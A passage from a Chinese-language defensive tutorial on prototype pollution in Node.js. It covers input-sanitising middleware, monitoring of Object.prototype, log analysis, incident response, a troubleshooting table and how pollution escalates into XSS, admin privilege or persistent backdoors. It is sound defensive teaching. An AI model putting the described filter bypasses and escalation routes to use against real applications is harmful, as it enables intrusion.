obj.__proto__; delete obj.constructor; delete obj.prototype; // 递归处理嵌套对象 Object.values(obj).forEach(sanitize); } return obj; }; if (req.body) sanitize(req.body); if (req.query) sanitize(req.query); next(); });注意这种过滤可能不彻底因为攻击者可能使用Object.create(null)创建无原型对象来绕过hasOwnProperty检查或者使用其他隐蔽的污染链。它应作为一道补充防线而非主要手段。2. 静态代码分析在CI/CD流水线中集成静态应用安全测试工具。一些SAST工具能够检测出不安全的对象合并模式。3. 安全编码规范在团队中制定规范禁止使用不安全的深度合并函数处理不可信数据。代码审查时重点关注对象操作、属性赋值和动态代码执行eval、new Function相关的代码。6. 漏洞排查与应急响应实战指南当怀疑或确认系统存在原型链污染漏洞时应该怎么做6.1 排查如何发现污染1. 监控异常属性在开发或测试环境中可以在应用启动后定期检查Object.prototype是否被添加了未知属性。// 监控脚本示例 const originalProto Object.getOwnPropertyNames(Object.prototype); setInterval(() { const currentProto Object.getOwnPropertyNames(Object.prototype); const newProps currentProto.filter(prop !originalProto.includes(prop)); if (newProps.length 0) { console.error([警报] Object.prototype被添加了新属性: ${newProps.join(, )}); // 立即报警或记录详细堆栈 console.trace(); } }, 5000); // 每5秒检查一次2. 日志分析仔细审查访问日志寻找包含__proto__、constructor、prototype等关键词的请求。攻击者可能在尝试探测漏洞。3. 动态分析工具使用像Contrast Security、Data Theorem等运行时应用自我保护产品它们可以检测并阻止原型污染攻击。6.2 应急响应漏洞确认后的步骤一旦确认漏洞被利用必须立即行动。隔离与遏制如果可能立即将受影响的服务实例从负载均衡中摘除阻止攻击流量。审查并回滚到最近一个已知安全的代码版本或部署镜像。更改所有相关系统的密码和密钥假设攻击者可能已获得访问权限。取证与影响评估保留完整的日志、受影响实例的内存快照和磁盘镜像。分析日志确定攻击入口点、攻击Payload和可能的数据泄露范围。检查系统是否被植入了后门、挖矿程序或勒索软件。根因修复根据排查结果定位到存在不安全对象操作的代码行。应用前述的防御策略进行修复升级库、重写合并逻辑、增加输入过滤等。修复后进行全面的安全测试包括针对该漏洞的专项渗透测试。复盘与加固撰写安全事件报告记录时间线、根本原因、修复措施和教训。在全团队范围内进行安全意识培训强调安全处理用户输入的重要性。考虑引入更严格的安全开发流程和自动化安全工具。6.3 常见问题排查速查表问题现象可能原因排查步骤应用行为异常所有请求返回相同错误数据Object.prototype上的某个共享属性被污染影响了所有对象1. 检查Object.prototype上的属性。2. 审查最近处理对象合并的代码。3. 分析请求日志寻找可疑Payload。第三方库突然抛出奇怪的“未定义属性”错误原型污染导致库内部依赖的某个默认属性被覆盖或删除1. 确认使用的库版本是否存在已知原型污染漏洞。2. 在库初始化后检查关键配置对象的原型链。服务器执行了未知命令如curl外连污染导致child_process相关方法的参数被篡改1. 立即检查进程和网络连接。2. 搜索代码中所有exec、spawn等调用查看参数来源。3. 审查传入这些参数的上游对象是否可能被污染。无法通过简单过滤__proto__阻止攻击攻击者使用了constructor.prototype或其他隐蔽的污染链1. 使用更全面的过滤列表__proto__constructorprototype。2. 考虑使用Object.create(null)创建纯净对象作为合并目标。7. 深入思考原型污染与更广阔的攻击面原型链污染的魅力或者说危险性在于它的“基础性”。它不只是一个单独的漏洞而是一种漏洞模式可以与其他漏洞结合产生“112”的效果。结合客户端漏洞如果污染发生在服务端但被污染的属性最终被序列化到发送给客户端的JavaScript中就可能引发客户端的DOM型XSS。因为客户端的JavaScript对象同样继承自Object.prototype。扩大权限提升在复杂的应用中污染可以用来修改权限检查逻辑。例如如果有一个isAdmin函数从用户对象的role属性判断而role属性可能从被污染的原型链中获取一个假值那么普通用户就可能被提升为管理员。作为持久化后门一旦Object.prototype被成功污染这个污染状态会在当前Node.js进程的整个生命周期内持续存在除非进程重启。攻击者可以注入一个极其隐蔽的后门只在特定条件下触发。因此对原型链污染的防御不能停留在“修复一个合并函数”的层面。它要求开发者对JavaScript语言特性有深刻理解对安全编码有持续的意识并将纵深防御的理念贯穿于开发、测试、部署和运维的全过程。每一次对象的赋值每一次属性的访问在处理不可信数据时都需要多问一句“它的原型链安全吗”